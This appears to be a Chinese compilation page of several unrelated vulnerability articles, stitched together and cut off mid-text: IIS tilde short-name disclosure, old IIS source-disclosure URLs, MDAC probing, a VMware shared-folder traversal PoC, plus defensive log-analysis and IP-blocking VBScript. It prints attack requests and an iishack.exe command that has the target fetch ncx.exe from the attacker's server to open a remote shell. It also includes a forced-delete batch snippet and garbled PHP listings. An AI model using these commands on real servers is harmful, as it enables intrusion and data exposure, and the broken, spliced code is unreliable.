以下是小编整理了IIS短文件和文件夹泄漏漏洞的分析(共含10篇),希望你喜欢,也可以帮助到您,欢迎分享!同时,但愿您也能像本文投稿人“白衣”一样,积极向本站投稿分享好文章。
IIS是有微软使用微软windows功能扩展模块创建的一套web服务器应用程序,是世界上第三个最流行的服务器
IIS是有微软使用微软windows功能扩展模块创建的一套web服务器应用程序,是世界上第三个最流行的服务器,
漏洞描述:
漏洞研究小组发现了一个微软IIS的漏洞,攻击者可以利用一个包含“~”的get请求,来让服务器上的文件和文件夹被泄漏、
影响版本:
IIS 1.0, Windows NT 3.51
IIS 2.0, Windows NT 4.0
IIS 3.0, Windows NT 4.0 Service Pack 2
IIS 4.0, Windows NT 4.0 Option Pack
IIS 5.0, Windows
IIS 5.1, Windows XP Professional and Windows XP Media Center Edition
IIS 6.0, Windows Server and Windows XP Professional x64 Edition
IIS 7.0, Windows Server and Windows Vista
IIS 7.5, Windows 7 (远程开启了错误或者没有web.config配置文件的情况下)
IIS 7.5, Windows 2008 (经典托管管道模式)
漏洞分析与利用:
如果网站是运行在IIS服务器上,可以通过“~”来发现一些文件和文件夹,攻击者可以发现重要的文件或者文件夹,如果这些文件或者文件夹是正规的可见文件.
关于此漏洞的深入分析可以参考以下连接中的文章:
soroush.secproject.com/blog//06/microsoft-iis-tilde-character-vulnerabilityfeature-short-filefolder-name-disclosure/
漏洞详细说明:
一直在寻找一种方法,如果我可以使用通配符“*” 和“?”发送一个请求到iis,我意识到当IIS接收到一个文件路径中包含“~”的请求时,它的反应是不同的.基于这个特点,我们可以根据http的响应区分一个可用或者不可用的文件.在以下的表中,文件validxxx.xxx是存在于网站服务器根目录的.(备注:xxx.xxx是指不确定,还需要继续猜解判断).下图主要是不同版本的IIS返回根据请求的返回错误来判断是否存在某个文件.
举例说明如果一个IIS6网站www.xxx.com的短文件猜解方法
请求 /a*~1*/.aspx 返回404,就说明存在a开头的一个axxx.xxx的文件.(其中xxx.xxx还需要进一步确定判断是什么字母,什么后缀).
请求www.xxx.com/a*~1*/.aspx 返回400,说明不存在a开头的一个axxx.xxx的文件.(其中xxx.xxx还需要进一步确定判断是什么字母,什么后缀).
IIS5.X的判断方法如下:
请求/a*~1* 返回404 说明存在a开头的一个文件。
请求/a*~1* 返回400 说明不存在a开头的一个文件.
IIS7.x.net 2 no error handing判断方法如上图,各位仔细看.
下面附上一个IIS6猜解文件的全过程。
测试地址:sdl.me/AcSecret.html acsecret.html是存在于服务器上的.猜解过程如下图:
附上详细的poc和漏洞利用说明文件:
PoC: www.exploit-db.com/sploits/19525.zip
Paper: www.exploit-db.com/download_pdf/19527
漏洞修复方案:
使用微软或者安全厂商提供的解决方案
使用配置好的Web应用防护系统(拒绝丢弃掉包含“~”线的Web请求)可能会起到对此漏洞进行防范的作用.
漏洞发现者:
Soroush Dalili (@irsdl)
Ali Abbasnejad
漏洞参考:
support.microsoft.com/kb/142982/en-us
soroush.secproject.com/blog//07/iis5-1-directory-authentication-bypass-by-using-i30index_allocation/
站长评论:
其实这是个很鸡肋的“漏洞”……
首先,如果文件名符合8.3规范的文件(文件名主体部分小于等于8个字节、扩展名部分小于等于3个字节),则根本没有短文件名,
其次,汉字和特殊符号等字符的猜解,也是很 的问题……
最后,即使猜出来了,也只有前六位,只能靠运气碰碰看了……
不过,它还是有不小的用处,也算是很另类的一个“漏洞”吧……
(提示:如果目标站自定义了400、404 错误页面,那么该扫描器是无法判断的……)
可以参考下表:
2012/07/04 20:46
2012/07/04 20:46
2012/07/04 20:44
2012/07/04 20:44
2012/07/04 20:44
2012/07/04 20:44
2012/07/04 20:44
2012/07/04 20:44
2012/07/04 20:44
2012/07/04 20:46
2012/07/04 20:46
2012/07/04 20:43 29 012345~1.TXT 0123456789.txt
2012/07/04 20:43 29 1.txt
2012/07/04 20:43 29 123.txt
2012/07/04 20:43 29 123456.txt
2012/07/04 20:43 29 1234567.txt
2012/07/04 20:43 29 12345678.txt
2012/07/04 20:43 29 123456~1.TXT 123456789.txt
摘自 Nuclear'Atk 网络安全研究中心
本文翻译自exploit-db.com,是苦逼阿德马童鞋经过数小时折腾而成,请著名出处,tks.E文太菜,如果有错误之处请各位大大多多指正.
IIS是有微软使用微软windows功能扩展模块创建的一套web服务器应用程序,是世界上第三个最流行的服务器,
漏洞描述:
漏洞研究小组发现了一个微软IIS的漏洞,攻击者可以利用一个包含“~”的get请求,来让服务器上的文件和文件夹被泄漏、
影响版本:
IIS 1.0, Windows NT 3.51
IIS 2.0, Windows NT 4.0
IIS 3.0, Windows NT 4.0 Service Pack 2
IIS 4.0, Windows NT 4.0 Option Pack
IIS 5.0, Windows 2000
IIS 5.1, Windows XP Professional and Windows XP Media Center Edition
IIS 6.0, Windows Server 2003 and Windows XP Professional x64 Edition
IIS 7.0, Windows Server 2008 and Windows Vista
IIS 7.5, Windows 7 (远程开启了错误或者没有web.config配置文件的情况下)
IIS 7.5, Windows 2008 (经典托管管道模式)
漏洞分析与利用:
如果网站是运行在IIS服务器上,可以通过“~”来发现一些文件和文件夹,攻击者可以发现重要的文件或者文件夹,如果这些文件或者文件夹是正规的可见文件.
关于此漏洞的深入分析可以参考以下连接中的文章:
soroush.secproject.com/blog/2012/06/microsoft-iis-tilde-character-vulnerabilityfeature-short-filefolder-name-disclosure/
漏洞详细说明:
一直在寻找一种方法,如果我可以使用通配符“*” 和 “?”发送一个请求到iis,我意识到当IIS接收到一个文件路径中包含“~”的请求时,它的反应是不同的.基于这个特点,我们可以根据http的响应区分一个可用或者不可用的文件.在以下的表中,文件validxxx.xxx是存在于网站服务器根目录的.(备注:xxx.xxx是指不确定,还需要继续猜解判断).下图主要是不同版本的IIS返回根据请求的返回错误来判断是否存在某个文件.举例说明如果一个IIS6网站www.xxx.com的短文件猜解方法
请求 www.xxx.com/a*~1*/.aspx返回404,就说明存在a开头的一个axxx.xxx的文件.(其中xxx.xxx还需要进一步确定判断是什么字母,什么后缀).
请求www.xxx.com/a*~1*/.aspx返回400,说明不存在a开头的一个axxx.xxx的文件.(其中xxx.xxx还需要进一步确定判断是什么字母,什么后缀).
IIS5.X的判断方法如下:
请求 /a*~1* 返回404 说明存在a开头的一个文件,
请求/a*~1* 返回400 说明不存在a开头的一个文件.
IIS7.x.net 2 no error handing判断方法如上图,各位仔细看.
下面附上一个IIS6猜解文件的全过程。
测试地址:sdl.me/AcSecret.htmlacsecret.html是存在于服务器上的.猜解过程如下图:
附上详细的poc和漏洞利用说明文件:
PoC: www.exploit-db.com/sploits/19525.zip
Paper: www.exploit-db.com/download_pdf/19527
漏洞修复方案:
使用微软或者安全厂商提供的解决方案
使用配置好的Web应用防护系统(拒绝丢弃掉包含“~”线的Web请求)可能会起到对此漏洞进行防范的作用.
漏洞发现者:
Soroush Dalili (@irsdl)
Ali Abbasnejad
漏洞参考:
support.microsoft.com/kb/142982/en-us
soroush.secproject.com/blog/2010/07/iis5-1-directory-authentication-bypass-by-using-i30index_allocation/
漏洞披露相关细节:
2010-08-01 - 发现漏洞
2010-08-03 - 卖方知情
2010-12-01 - 销售商第一反应
-01-04 - 第二卖方响应(下一版本修复)
6月29日 - 公开披露
文章未完待续
转自:www.nxadmin.com/web/544.html
13个IIS漏洞分析及漏洞利用-Null.htw、ISM.DLL等
去年下半年关于IIS的漏洞层出不穷,鉴于目前IIS的广泛使用,觉得有必要把收集的资料加以总结一下,
1.介绍
这里介绍的方法主要通过端口80来完成操作,具有很大的威胁性,因为作为网络服务器80端口总要打开的。如果想方便一些,下载一些WWW、CGI扫描器来辅助检查。
而且要知道目标机器运行的是何种服务程序,你可以使用以下命令:
telnet 《目标机》 80
GET HEAD / HTTP/1.0
就可以返回一些域名和WEB服务程序版本,如果有些服务器把WEB服务运行在8080,81,8000,8001口,你就TELNET相应的口上。
2.常见漏洞
(1)、Null.htw
IIS如果运行了Index Server就包含了一个通过Null.htw有关的漏洞,即服务器上不存在此.htw结尾的文件。这个漏洞会导致显示ASP脚本的源代码, global.asa里面包含了用户帐户等敏感信息。如果攻击者提供特殊的URL请求给IIS就可以跳出虚拟目录的限制,进行逻辑分区和ROOT目录的访问。而这个“hit-highlighting”功能在Index Server中没有充分防止各种类型文件的请求,所以导致攻击者访问服务器上的任意文件。Null.htw功能可以从用户输入中获得3个变量:
CiWebhitsfile
CiRestriction
CiHiliteType
你可通过下列方法传递变量来获得如default.asp的源代码:
www.目标机.com/null.htw?CiWebhitsfile=/default.asp%20&%20
CiRestriction=none%20&%20&CiHiliteType=full其中不需要一个合法的.htw文件是因为虚拟文件已经存储在内存中了。
(2)、MDAC- 执行本地命令漏洞
这个漏洞出现得比较早,但在全球范围内,可能还有好多IIS WEB服务器存在这个漏洞,就像在今天,还有很多人在用Windows3.2一样。IIS的MDAC组件存在一个漏洞,可以导致攻击者远程执行目标系统的命令。主要核心问题是存在于RDSDatafactory,默认情况下,它允许远程命令发送到IIS服务器中,这命令会以设备用户的身份运行,在默认情况下是SYSTEM用户。我们可以通过以下办法测试本机是否存在这个漏洞:
c:》nc -nw -w 2 《目标机》 80
GET /msadc/msadcs.dll HTTP
如果你得到下面的信息:
application/x_varg
就很有可能存在此漏洞且没有打上补丁,你可以使用rain forest puppy网站的两个程序进行测(www.wiretrip.net/rfp)==》mdac.pl和msadc2.pl。
(3)、ASP Dot Bug
这个漏洞出现得比较早了,是Lopht小组在发现的缺陷,这个漏洞也是泄露ASP源代码给攻击者,一般在IIS3.0上存在此漏洞,在请求的URL结尾追加一个或者多个点导致泄露ASP源代码,
www.目标机.com/sample.asp.
(4)、idc & .ida Bugs
这个漏洞实际上类似ASP dot 漏洞,其能在IIS4.0上显示其WEB目录信息,很奇怪有些人还在IIS5.0上发现过此类漏洞,通过增加?idc?或者?ida?后缀到URL会导致IIS尝试允许通过数据库连接程序.DLL来运行.IDC,如果此.idc不存在,它就返回一些信息给客户端。
www.目标机.com/anything.idc 或者 anything.idq
(5)、+.htr Bug
这个漏洞是由NSFOCUS发现的,对有些ASA和ASP追加+.htr的URL请求就会导致文件源代码的泄露: www.目标机.com/global.asa+.htr
(6)、NT Site Server Adsamples 漏洞
通过请求site.csc,一般保存在/adsamples/config/site.csc中,攻击者可能获得一些如数据库中的DSN,UID和PASS的一些信息,如:
www.目标机.com/adsamples/config/site.csc
(7)、IIS HACK
有人发现了一个IIS4.0的缓冲溢出漏洞,可以允许用户上载程序,如上载netcat到目标服务器,并把cmd.exe绑定到80端口。这个缓冲溢出主要存在于.htr,.idc和.stm文件中,其对关于这些文件的URL请求没有对名字进行充分的边界检查,导致运行攻击者插入一些后门程序在系统中下载和执行程序。要检测这样的站点你需要两个文件iishack.exe,ncx.exe,你可以到站点www.technotronic.com中去下载,另外你还需要一台自己的WEB服务器,也可以是虚拟服务器哦。你现在你自己的WEB服务器上运行WEB服务程序并把ncx.exe放到你自己相应的目录下,然后使用iishack.exe来检查目标机器:
c:》iishack.exe 《目标机》 80 《你的WEB服务器》/ncx.exe
然后你就使用netcat来连接你要检测的服务器:
c:》nc 《目标机》 80
如果溢出点正确,你就可以看到目标机器的命令行提示,并且是远程管理权限。Codebrws.asp & Showcode.asp 。Codebrws.asp和Showcode.asp在IIS4.0中是附带的看文件的程序,但不是默认安装的,这个查看器是在管理员允许查看样例文件作为联系的情况下安装的。但是,这个查看器并没有很好地限制所访问的文件,远程攻击者可以利用这个漏洞来查看目标机器上的任意文件内容,但要注意以下几点:
1.Codebrws.asp 和 Showcode.asp默认情况下不安装。 2.漏洞仅允许查看文件内容。 3.这个漏洞不能绕过WINDOWS NT的ACL控制列表的限制。 4.只允许同一分区下的文件可以被查看(所以把IIS目录和WINNT分区安装是个不错的方案,这样也可能比较好的防止最新的IIS5.0的unicode漏洞).
5.攻击者需要知道请求的文件名。
例如你发现存在这个文件并符合上面的要求,你可以请求如下的命令:
前言
windows的shell32在处理控制面板程序的快捷方式文件时,存在一个漏洞,可以加载硬盘上的任意DLL文件,即可执行任意代码,
漏洞文件的生成
到“控制面板”下面,右键点“显示”,点“创建快捷方式”,把快捷方式创建在桌面上,
然后在桌面用WinHex打开“显示.lnk”文件。
Offset0 1 2 3 4 5 6 7 8 9 A B C D E F
DEL /F /A /Q ?%1
RD /S /Q ?%1
保存为*.bat
将要删除的文件以及文件夹拖到该批处理上,
强制删除任意文件以及文件夹漏洞预警
,
发布日期:-05.27
发布作者:Amxking
影响版本:未知
官方地址: www.lunarvis.com/products/tinymcefilebrowserwithupload.php
漏洞描述: 远程文件上传漏洞
下面我们来看upload.php程序代码
1
2 require_once('config_tinybrowser.php');
3 // Set language
4 if(isset($tinybrowser['language']) && file_exists('langs/'.$tinybrowser['language'].'.php'))
5 {
6 require_once('langs/'.$tinybrowser['language'].'.php');
7 }
8 else
9 {
10 require_once('langs/en.php'); // Falls back to English
11 }
12 require_once('fns_tinybrowser.php');
13
14 // Check session, if it exists
15 if(session_id != '')
16 {
17 if(!isset($_SESSION[$tinybrowser['sessioncheck']]))
18 {
19 echo TB_DENIED;
20 exit;
21 }
22 }
23
24 if(!$tinybrowser['allowupload'])
25 {
26 echo TB_UPDENIED;
27 exit;
28 }
29
30 // Assign get variables
31 $validtypes = array('image','media','file');
32 0now = ((isset($_GET['type']) && in_array($_GET['type'],$validtypes)) ? $_GET['type'] : 'image');
33 $foldernow = str_replace(array('../','..','./','.'),'',($tinybrowser['allowfolders'] && isset($_REQUEST['folder']) ? urldecode($_REQUEST['folder']) : ''));
34 $passfolder = '&folder='.urlencode($foldernow);
35 $passfeid = (isset($_GET['feid']) && $_GET['feid']!='' ? '&feid='.$_GET['feid'] : '');
36 $passupfeid = (isset($_GET['feid']) && $_GET['feid']!='' ? $_GET['feid'] : '');
37
38 // Assign upload path
39 $uploadpath = urlencode($tinybrowser['path'][0now].$foldernow);
40
41 // Assign directory structure to array
42 $uploaddirs=array();
43 dirtree($uploaddirs,$tinybrowser['filetype'][0now],$tinybrowser['docroot'],$tinybrowser['path'][0now]);
44
45 // determine file dialog file types
46 switch ($_GET['type'])
47 {
48 case 'image':
49 $filestr = TB_TYPEIMG;
50 break;
51 case 'media':
52 $filestr = TB_TYPEMEDIA;
53 break;
54 case 'file':
55 $filestr = TB_TYPEFILE;
56 break;
57 }
58 $fileexts = str_replace(“,”,“;”,$tinybrowser['filetype'][$_GET['type']]);
59 $filelist = $filestr.' ('.$tinybrowser['filetype'][$_GET['type']].')';
60
61 // Initalise alert array
62 $notify = array(
63 'type' => array(),
64 'message' => array()
65 );
66 $goodqty = (isset($_GET['goodfiles']) ? $_GET['goodfiles'] : 0);
67 $badqty = (isset($_GET['badfiles']) ? $_GET['badfiles'] : 0);
68 $dupqty = (isset($_GET['dupfiles']) ? $_GET['dupfiles'] : 0);
69
70 if($goodqty>0)
71 {
72 $notify['type'][]='success';
73 $notify['message'][]=sprintf(TB_MSGUPGOOD, $goodqty);
74 }
75 if($badqty>0)
76 {
77 $notify['type'][]='failure';
78 $notify['message'][]=sprintf(TB_MSGUPBAD, $badqty);
79 }
80 if($dupqty>0)
81 {
82 $notify['type'][]='failure';
83 $notify['message'][]=sprintf(TB_MSGUPDUP, $dupqty);
84 }
85 if(isset($_GET['permerror']))
86 {
87 $notify['type'][]='failure';
88 $notify['message'][]=sprintf(TB_MSGUPFAIL, $tinybrowser['docroot'].$tinybrowser['path'][0now]);
89 }
90 ?>
91
92
93
94 TinyBrowser ::
95
96
97
98 if($passfeid == '' && $tinybrowser['integration']=='tinymce')
99 {
100 ?>
101 }
102 else
103 {
104 ?>
105 }
106 ?>
107
108
109
From 情blog
程序描述:
TinyBrowser特点 根据配置可以设置是否允许上传、删除、编辑等操作等操作权限
支持多个上传,而且显示上传进度
可以简单编辑图片,比如旋转
可以根据图片名和缩略图列表查看文件
支持FCKeditor编辑器
漏洞分析:
下面我们来看upload.php程序代码
1
2 require_once(config_tinybrowser.php);
3 // Set language
4 if(isset($tinybrowser[language]) && file_exists(langs/.$tinybrowser[language]..php))
5 {
6 require_once(langs/.$tinybrowser[language]..php);
7 }
8 else
9 {
10 require_once(langs/en.php); // Falls back to English
11 }
12 require_once(fns_tinybrowser.php);
13
14 // Check session, if it exists
15 if(session_id() != )
16 {
17 if(!isset($_SESSION[$tinybrowser[sessioncheck]]))
18 {
19 echo TB_DENIED;
20 exit;
21 }
22 }
23
24 if(!$tinybrowser[allowupload])
25 {
26 echo TB_UPDENIED;
27 exit;
28 }
29
30 // Assign get variables
31 $validtypes = array(image,media,file);
32 0now = ((isset($_GET[type]) && in_array($_GET[type],$validtypes)) ? $_GET[type] : image);
33 $foldernow = str_replace(array(../,..,./,.),,($tinybrowser[allowfolders] && isset($_REQUEST[folder]) ? urldecode($_REQUEST[folder]) : ));
34 $passfolder = &folder=.urlencode($foldernow);
35 $passfeid = (isset($_GET[feid]) && $_GET[feid]!= ? &feid=.$_GET[feid] : );
36 $passupfeid = (isset($_GET[feid]) && $_GET[feid]!= ? $_GET[feid] : );
37
38 // Assign upload path
39 $uploadpath = urlencode($tinybrowser[path][0now].$foldernow);
40
41 // Assign directory structure to array
42 $uploaddirs=array();
43 dirtree($uploaddirs,$tinybrowser[filetype][0now],$tinybrowser[docroot],$tinybrowser[path][0now]);
44
45 // determine file dialog file types
46 switch ($_GET[type])
47 {
48 case image:
49 $filestr = TB_TYPEIMG;
50 break;
51 case media:
52 $filestr = TB_TYPEMEDIA;
53 break;
54 case file:
55 $filestr = TB_TYPEFILE;
56 break;
57 }
58 $fileexts = str_replace(“,”,“;”,$tinybrowser[filetype][$_GET[type]]);
59 $filelist = $filestr. (.$tinybrowser[filetype][$_GET[type]].);
60
61 // Initalise alert array
62 $notify = array(
63 type => array(),
64 message => array()
65 );
66 $goodqty = (isset($_GET[goodfiles]) ? $_GET[goodfiles] : 0);
67 $badqty = (isset($_GET[badfiles]) ? $_GET[badfiles] : 0);
68 $dupqty = (isset($_GET[dupfiles]) ? $_GET[dupfiles] : 0);
69
70 if($goodqty>0)
71 {
72 $notify[type][]=success;
73 $notify[message][]=sprintf(TB_MSGUPGOOD, $goodqty);
74 }
75 if($badqty>0)
76 {
77 $notify[type][]=failure;
78 $notify[message][]=sprintf(TB_MSGUPBAD, $badqty);
79 }
80 if($dupqty>0)
81 {
82 $notify[type][]=failure;
83 $notify[message][]=sprintf(TB_MSGUPDUP, $dupqty);
84 }
85 if(isset($_GET[permerror]))
86 {
87 $notify[type][]=failure;
88 $notify[message][]=sprintf(TB_MSGUPFAIL, $tinybrowser[docroot].$tinybrowser[path][0now]);
89 }
90 ?>
91
92
93
94 TinyBrowser ::
95
96
97
98 if($passfeid == && $tinybrowser[integration]==tinymce)
99 {
100 ?>
101 }
102 else
103 {
104 ?>
105 }
106 ?>
107
108
109
114
115
116 var so = new SWFObject(“flexupload.swf”, “mymovie”, “100%”, “340”, “9”, “#ffffff”);
117 so.addVariable(“folder”, “
118 so.addVariable(”uptype“, ”
119 so.addVariable(“destid”, “
120 so.addVariable(”maxsize“, ”
121 so.addVariable(“sessid”, “
122 so.addVariable(”obfus“, ”
123 so.addVariable(“filenames”, “
124 so.addVariable(”extensions“, ”
125 so.addVariable(“filenamelbl”, “
126 so.addVariable(”sizelbl“, ”
127 so.addVariable(“typelbl”, “
128 so.addVariable(”progresslbl“, ”
129 so.addVariable(“browselbl”, “
130 so.addVariable(”removelbl“, ”
131 so.addVariable(“uploadlbl”, “
Windows Server具有事件日志记录的功能,其IIS日志文件里记录了包括下列信息:谁访问了您的站点,访问者查看了哪些内容等等,通过定期检查这些日志文件,网站管理员可以检测到服务器或站点的哪些方面易受攻击或存在其他安全隐患。
不过,目前的日志分析工具并不是很完善,有些功能并不具备,特别是针对某个URL地址进行攻击的分析并不多,下面是一个VB Script程序,保存为VBS程序后可以在服务器上运行,用于分析和检测IIS日志里针对某个URL地址进行攻击的IP地址。
”代码开始
targeturl = “/archives/2761.html” “受攻击网站的URL地址。
logfilepath = ”C:LogFilesW3SVCex110813.log“ ”受攻击网站的日志路径。
On Error Resume Next
Set fileobj = CreateObject(“scripting.filesystemobject”)
Set fileobj2 = CreateObject(“scripting.filesystemobject”)
Set myfile = fileobj2.opentextfile(logfilepath, 1, False)
Do While myfile.atendofstream True
myline = myfile.readline
myline2 = Split(myline, “ ”)
newip = myline2(9)
myurl = myline2(5)
If targeturl = myurl Then
writelog newip
End If
Loop
myfile.Close
Set fileobj2 = Nothing
Msgbox “结束.”
Sub writelog(errmes)
ipfilename = “blockip.txt”
Set logfile = fileobj.opentextfile(ipfilename, 8, True)
logfile.writeline errmes
logfile.Close
Set logfile = Nothing
End Sub
“代码结束
分析出来的IP如果出现异常,可以通过程序,将其批量添加到IIS的屏蔽IP列表里,下面是网上找到的一段VBScript代码,将其改名为vbs后,把上面那段程序的IP导入,即可批量屏蔽攻击者的IP地址。
”代码开始
“/*=========================================================================
” * Intro VBScript使用ADSI为IIS批量添加屏蔽或允许访问的IP
“ * FileName VBScript-ADSI-IIS-Add-Deny-Grant-IP-Change-MetaBase.xml.vbs
” *==========================================================================*/
“AddDenyIP2All ”192.168.1.106,255.255.255.0“
”AddDenyIP “123456”,“127.0.0.1”
“AddDenyIP2All ”14.113.226.116“
”添加要屏蔽的IP或一组计算机,到一个指定站点上
Sub AddDenyIP(strWebNo, strDenyIp)
On Error Resume Next
Set SecObj = GetObject(“IIS://LocalHost/W3SVC/” & strWebNo & “/Root”)
Set MyIPSec = SecObj.IPSecurity
MyIPSec.GrantByDefault = True
IPList = MyIPSec.IPDeny
i = UBound(IPList) + 1
ReDim Preserve IPList(i)
IPList(i) = strDenyIp
MyIPSec.IPDeny = IPList
SecObj.IPSecurity = MyIPSec
SecObj.Setinfo
End Sub
“添加要屏蔽的IP或一组计算机,到IIS公共配置,以应用到所有站点
”如果之前对有些站点单独做过屏蔽IP设置,在些设置不会生效,得在总的网站上设置一下,然后覆盖所有子结点
Sub AddDenyIP2All(strDenyIp)
On Error Resume Next
Set SecObj = GetObject(“IIS://LocalHost/W3SVC”)
Set MyIPSec = SecObj.IPSecurity
MyIPSec.GrantByDefault = True
IPList = MyIPSec.IPDeny
i = UBound(IPList) + 1
ReDim Preserve IPList(i)
IPList(i) = strDenyIp
MyIPSec.IPDeny = IPList
SecObj.IPSecurity = MyIPSec
SecObj.Setinfo
End Sub
“添加允许的IP或一组计算机,到一个指定站点上
Sub AddGrantIP(strWebNo, strGrantIp)
On Error Resume Next
Set SecObj = GetObject(”IIS://LocalHost/W3SVC/“ & strWebNo & ”/Root“)
Set MyIPSec = SecObj.IPSecurity
MyIPSec.GrantByDefault = False
IPList = MyIPSec.IPGrant
i = UBound(IPList) + 1
ReDim Preserve IPList(i)
IPList(i) = strGrantIp
MyIPSec.IPGrant = IPList
SecObj.IPSecurity = MyIPSec
SecObj.Setinfo
End Sub
”添加允许的IP或一组计算机,到IIS公共配置,以应用到所有站点
“如果之前对有些站点单独做过屏蔽IP设置,在些设置不会生效,得在总的网站上设置一下,然后覆盖所有子结点
Sub AddGrantIP2All(strGrantIp)
On Error Resume Next
Set SecObj = GetObject(”IIS://LocalHost/W3SVC“)
Set MyIPSec = SecObj.IPSecurity
MyIPSec.GrantByDefault = False
IPList = MyIPSec.IPGrant
i = UBound(IPList) + 1
ReDim Preserve IPList(i)
IPList(i) = strGrantIp
MyIPSec.IPGrant = IPList
SecObj.IPSecurity = MyIPSec
SecObj.Setinfo
End Sub
”显示IIS公共配置里禁止访问的IP
Sub ListDenyIP()
Set SecObj = GetObject(“IIS://LocalHost/W3SVC”)
Set MyIPSec = SecObj.IPSecurity
IPList = MyIPSec.IPDeny “IPGrant/IPDeny
WScript.Echo Join(IPList, vbCrLf)
” For i = 0 To UBound(IPList)
“ WScript.Echo i + 1 & ”-->“ & IPList(i)
” Next
End Sub
此洞由FAKER AND 啊迪明发现!并做测试!
标题蛮长的!哈哈~
这个漏洞貌似鸡肋,但是也有强大的用处,但是懂得怎么利用他,完全靠得自己,我只是给一个小小思路。
进入主题!
重要注册表:
HKEY_LOCAL_MACHINESYSTEMControlSet002ServicesMSFtpsvcParametersVirtual Roots
ControlSet002这个目录可以是ControlSet001 ControlSet003
注明:不是用第三方软件分配出来的ftp用户,一定要是基于iis分配出来的用户,
系统才会在这个目录生成ftp用户名以及用户路径。
举例:1、可以利用ftp用户信息通过社工,或者猜解密码,来获取目标的ftp密码!
2、如果能直接执行命令,或者是cmd有足够的权限。我们可以使用for命令来获取目标站的数据库配置文件。其它自行测试。
以及跨站种种。这个方法完全可以代替aspxspy那个获取iis信息的功能。灰常强大。
3、如果不能显示这些信息,那就证明是用第三方ftp服务器软件,那我们就可以通过注册表以及其他的一些方法来获取第三
方ftp服务器软件信息和路径,来进行提权。大家自由发挥。
4、 利用星外的那个VBS可以!
作者:vxasm (mail: xasm2008@gmail.com)
时间:2008-10-5
一 名词定义
Host机:运行VMware软件的真实主机;
Guest机:装在VMware软件中的虚拟系统;
后门:VMware有一套自己专有的“Backdoor I/O Port”指令,Host和Guest之间的所有数据都是通过一个固定的IO端口,使用in和out指令来进行传递,Guest就是通过这个端口发命令让Host帮助它完成某些自身不能完成的工作,
二 漏洞背景
理论上来说,可以认为Host机和Guest机是两台不同的电脑,只不过它们是共享同一套真实的物理硬件,这样就带来一个问题,即如何在Host和Guest之间传输数据, VMware的共享文件夹就是解决该问题的一个很实用功能,不需要设置任何网络,就可以在Host和Guest机器间互相传输文件。至于怎么设置共享文件夹,不是本文的重点,就不多说了,不熟悉的建议Google一下先。
在安装完VMware Tools后,会在Guest机上看到一个名为Hgfs.sys的文件,这个驱动文件实现了一个虚拟的文件系统,这个虚拟文件系统的根目录就是.host,当你在Guest机上进入任何共享文件夹的目录时,可以看到路径都是以.host开始的,在这个目录下的所有操作都将通过后门传递给运行在Host上的VMware主程序。举例来说:在Host机上有个目录是:E:DebugShare,把这个目录设置为Guest系统的共享目录后,VMware会记录下这个目录所对应的Host路径是E:DebugShare,当在Guest机的“运行”对话框中输入:.hostShared FoldersShare,就会在Guest上打开E:DebugShare这个目录。这个过程是通过后门完成的,Guest把“遍历目录“命令传递给Host,Host上的VMware主程序找到该目录对应关系,通过API函数遍历E:DebugShare目录,把得到的数据通过后门返回给Guest,最后Guest上就列出了Share目录下的所有文件。
三 漏洞描述
现在就到了本文所要说的重点了。我们知道,当Guest位于.hostShared FoldersShare目录下时,Guest执行命令“dir”,就相当于要求Host机执行“dir E:DebugShare”,没有问题。那再让Guest执行命令“dir ..”,会发生什么情况呢?如果是Host本身在执行这条命令,没有问题,自然会列出E:Debug下的所有文件;但现在要求执行命令的是Guest,Host只设置了E:DebugShare这个目录给Guest,自然是希望Guest只能看到这个目录,而没有权限看到它的父目录,因此VMware会对含有“..”的路径名作特别处理,处理的结果就是Guest上执行这条命令无效。
那么它的处理方法是什么呢?简单说来是这样的,VMware会对共享文件夹的路径名进行验证,确认它不含有0x2e0x2e(翻译为ASCII子字符就是“..”)字符串后,就会将其从多字节字符串转换为宽字符字符串,然后将所生成的宽字符字符串传送给Host上的系统文件API。这个转换使用Windows API中的MultiByteToWideChar函数完成。该函数的原型如下:
int MultiByteToWideChar (
UINT CodePage,
DWORD dwFlags,
LPCSTR lpMultiByteStr,
int cbMultiByte,
LPWSTR lpWideCharStr,
int cchWideChar
);
这里只对dwFlags做简单解释。
dwFlags:指定是否转换成预制字符或合成的宽字符,对控制字符是否使用像形文字,以及怎样处理无效字符。其中:
MB_ERR_INVALID_CHARS:设置此选项,则函数遇到非法字符就失败并返回错误码ERROR_NO_UNICODE_TRANSLATION,否则丢弃非法字符。
正是由于对MultiByteToWideChar函数中dwFlags参数的错误使用,导致VMware共享文件夹先后出现了两个漏洞,按时间顺序是CVE-2007-1744和CVE-2008-0923。不过严格说起来,这并非是因为VMware开发人员在使用MultiByteToWideChar函数时的编码错误,而是由于这套验证机制本身在逻辑上就存在一个漏洞。因为:验证“..”字符串是在转换输入字符串之前执行的,因此只要Guest系统上的恶意程序或用户提供的路径名可以通过验证,则在调用MultiByteToWideChar之后仍可能映射为包含有Unicode UTF-16版本的“..”字符串。
3.1 CVE-2007-1744
受影响版本:
VMWare VMWare Workstation 5.5.3 build 34685
不受影响版本:
VMWare VMWare Workstation 5.5.4 build 44386
这个漏洞的起因是dwFlags使用了默认值0,这意味着在转换过程中会忽略输入的无效字符,因此可以很容易地构造出一个多字节字符串,轻松地绕过验证,成为Unicode UTF-16版本的“..”。示例程序如下:
#include
int main(int argc, char* argv[])
{
unsigned int ans;
char utf8[] = { 0xc0,0x2e,0xc0,0x2e }; //0xc0是无效字符
wchar_t utf16[100] = { 0 };
UINT CodePage = CP_UTF8;
ans = MultiByteToWideChar(CodePage,
0,
(LPCSTR)&utf8,
4,
(LPWSTR)utf16,
100);
printf(“utf16: %Sn”, utf16);
return 0;
}
尽管0xc0是无效字符,但因为使用的的dwFlags值是0,所以MultiByteToWideChar函数会忽略它,而继续转换有效的字符0x2e,所以执行这个程序的输出结果是:utf16: ..可见,只要我们在输入的路径名中包含“0xc00x2e0xc00x2e”,那么就能够通过VMware对0x2e0x2e的验证,因此Host会去访问上层目录,从而让Guest看到不应该看到的东西。
3.2 CVE-2008-0923
受影响版本
VMWare Workstation 6.0.2
VMWare Workstation 5.5.4
VMWare Player 2.0.2
VMWare Player 1.0.4
VMWare ACE 2.0.2
VMWare ACE 1.0.2
不受影响版本:
VMWare Workstation 6.0.3
VMWare Workstation 5.5.6
VMWare Player 2.0.3
VMWare Player 1.0.5
VMWare ACE 2.0.3
VMWare ACE 1.0.5
VMWare ESX
VMWare Server
由于上个漏洞中dwFlags参数简单使用了默认值0,导致无效字符也能够顺利通过转换,因此VMware的更新版本中将dwFlags参数的值修改为MB_ERR_INVALID_CHARS,这个宏的整数值是8,
